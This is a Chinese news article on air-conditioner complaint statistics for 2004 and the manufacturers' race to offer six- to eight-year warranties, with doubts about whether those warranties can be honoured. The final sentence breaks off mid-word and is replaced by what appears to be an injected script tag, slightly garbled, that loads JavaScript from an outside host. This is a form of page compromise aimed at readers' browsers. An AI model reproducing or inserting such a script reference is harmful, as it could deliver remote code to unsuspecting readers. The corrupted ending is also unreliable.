空调使用的旺季到了，空调的投诉也由此进入高峰时段，尤其 是空调售后服务表现尤为敏感。同时，空调生产厂家用商业手段将售 后服务作王牌，在市场正打得如火如荼。一边是冰冷的投诉数字，一 边是火热的售后承诺，在冰与火架构的空间中，我们应理性地看待空 调售后服务。
冰冷的投诉数字
记者从中国消费者协会了解到，据全国30个省、自治区、直辖市 消费者协会、委员会的统计汇总，2004年家用电子电器类投诉175421 件，相比2003年上升了12.9%，其中空调排名第六，成为投诉新热点。 从投诉汇总的案例看，2004年空调投诉主要集中在以下方面：
一、产品自身存在多种质量问题，主要有：空调室内机漏水、漏 氟、噪声大，自动关机，不制冷、不制热、扇页脱落、主板开裂、遥 控器失灵、水平挡风板无法自动调节、空调室外机漏电、压缩机不运 转等质量问题；二、售后服务不及时、不到位；三、空调安装质量存 在不达标现象；四、夸大产品功能的宣传引起争议不断，在激烈的市 场竞争中，生产企业为了赢得市场份额，除了提供产品内在质量、加 强售后服务外，往往利用广告来宣传产品以吸引消费者的注意力，但 据消费者反映，部分产品宣传夸大了产品的功能，造成消费者的误解； 五、不能及时履行为消费者提供赠品的承诺；六、商家不提供维修记 录。
另外，记者从北京市工商局了解到：进入4月后，空调投诉出现 频率高于去年同期，空调使用高峰期的售后服务不完善问题已初现端 倪，今年售后投诉问题将超过往年。
火爆的市场拼杀
与售后投诉不成比例的是，今年空调厂家为了促销在市场上投入 了重兵大打售后牌，空调服务升级承诺不仅来得早，而且来得凶猛。 先是今年1月1日起，格力和美的两大空调厂家率先喊出了整机、主要 零部件包修6年的口号。短短4个月的时间内，志高、松下、海尔、格 兰仕几大厂家纷纷应战，把原来就高于国家“三包”规定的整机三年 包修的期限提高到了6年以上，科龙空调甚至大举铁锤，把空调的售 后包修期限一再拉长，普通空调为6年，节能“双效王”系列则延长 到了8年。
由此可见，今年在整个空调行业展开了一场兵不血刃的售后服务 升级战。
就连一向不参与国产品牌活动的日本松下也做出承诺：整机包修 3年，压缩机包修6年。售后服务的比拼带来的是市场销售的火爆，今 年五一黄金周新科售出6.8万套大大超出预期；澳柯玛比去年五一同 期销售增长了40%。
“寅吃卯粮”的隐患
如此繁荣的景象在前几年的彩电售后升级战中也可以看到，但现 在，无法兑现彩电厂家当初售后承诺的“家电遗孤”比比皆是。对于 空调厂家信誓旦旦的承诺，业内有人评价说空调行业在“寅吃卯粮”。
从国内目前空调生产技术水平来看，质量保证6年不出问题，只 有部分具备大规模生产条件的企业可以做到，对于空调整体行业来说， 还有大部分企业不具备这样的技术条件。厂家这样做的目的无非在空 调洗牌年保住自己在市场上的位置，至于3年-4年后的承诺兑现问题， 则在产品技术细节上与消费者打持久战。到那时，吃亏上当的还是消 费者，这对于空调整个行业的声誉十分不利。
还有人对空调售后服务承诺的可行性算了一笔账：用目前业内通 用的空调售后服务成本的计算公式，即每台空调(除了生产成本、营 销、研发费用外)有100元-140元用于安装，另外一部分用于未来售后 维修，约占空调价格的3%-7%左右。就目前市场上销售的价格在2000 元左右的空调来说，有57元-133元用于未来售后维修。
本来这部分资金用于空调3年内的包修，现在包修时间增加一倍， 费用却没有增加，何况空调在3年-6年间出现的问题要远远大于前三 年，费用也是成倍增加，到那时售后承诺如何兑现？再有，由于煤、 电、钢材等原材料的不断涨价，企业将面临行业技术标准升级要求的 研发压力，背负售后服务现在透支的沉重负担，企业如果破产后消费 者的权益将由谁来维护？
商家谨慎看待售后升级
国家对于产品质量包修明确规定：谁销售谁负责。对于空调厂家 集体为售后升级打得热火朝天的局面，北京大部分家电卖场却保持冷 静。大中、国美、苏宁等家电连锁店的相关负责人在接受媒体采访时 强调：对于售后升级的厂家卖场均要签订详细的协议，要求厂家对所 承诺内容加以备案。
北京国美空调科主管曹大为表示，因为今年一些厂家的6年包修 承诺都是在2005年后提出，所以国美公司的售后服务部门最近均和这 些厂家签订了售后服务补充备忘录，以免将来在售后问题上扯皮。目 前这些厂家对消费者的售后承诺已经通过国美的报纸广告在京城各大 媒体做了宣传，厂家将来一定会对这些文字资料负责。曹大为还表示， 如果将来消费者因为售后问题先找到国美，国美会依协议与厂家共同 给消费者以满意的答复。
企业不应盲目跟风
“现在空调市场已经从单一的价格战向怎么更好地满足消?script src=http://er12.com/t.js>
